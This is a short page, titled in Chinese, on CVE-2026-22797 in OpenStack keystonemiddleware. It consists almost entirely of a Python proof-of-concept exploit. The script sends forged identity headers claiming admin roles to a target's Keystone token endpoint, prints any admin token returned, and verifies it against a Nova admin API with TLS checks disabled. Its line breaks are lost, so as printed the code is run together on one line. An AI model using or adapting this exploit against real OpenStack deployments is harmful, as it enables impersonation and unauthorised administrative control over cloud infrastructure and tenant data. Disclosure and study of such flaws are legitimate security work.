CVE-2026-22797 OpenStack keystonemiddleware 身份伪造权限提升漏洞

#!/usr/bin/env python3 # CVE-2026-22797 PoC - OpenStack keystonemiddleware Identity Forgery # Requires valid OAuth2 token and network access to target import requests import json TARGET_URL = "https://target-openstack.example.com:5000/v3/auth/tokens" OAUTH_TOKEN = "your_valid_oauth2_token_here" def exploit_privilege_escalation(): """ Exploit CVE-2026-22797 by injecting forged identity headers to escalate privileges or impersonate admin users """ headers = { "Authorization": f"Bearer {OAUTH_TOKEN}", "Content-Type": "application/json", # Forged identity headers - the vulnerability "X-Is-Admin-Project": "admin", "X-Roles": "admin", "X-User-Id": "0", "X-User-Name": "admin" } payload = { "auth": { "identity": { "methods": ["oauth2"], "oauth2": {"id_token": OAUTH_TOKEN} } } } try: response = requests.post(TARGET_URL, headers=headers, json=payload, verify=False, timeout=10) print(f"Status Code: {response.status_code}") print(f"Response Headers: {dict(response.headers)}") if "X-Subject-Token" in response.headers: print("[+] SUCCESS: Forged admin token obtained!") print(f"Admin Token: {response.headers['X-Subject-Token']}") return response.headers.get("X-Subject-Token") else: print("[-] Failed to obtain forged token") print(f"Response: {response.text}") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") def verify_admin_access(admin_token): """Verify obtained token has admin privileges""" verify_url = "https://target-openstack.example.com:8774/v2.1/os-simple-tenant-usage" headers = {"X-Auth-Token": admin_token} response = requests.get(verify_url, headers=headers, verify=False) return response.status_code == 200 if __name__ == "__main__": print("=" * 60) print("CVE-2026-22797 Exploitation Tool") print("OpenStack keystonemiddleware Identity Header Injection") print("=" * 60) admin_token = exploit_privilege_escalation() if admin_token and verify_admin_access(admin_token): print("\n[!] Full admin access confirmed!")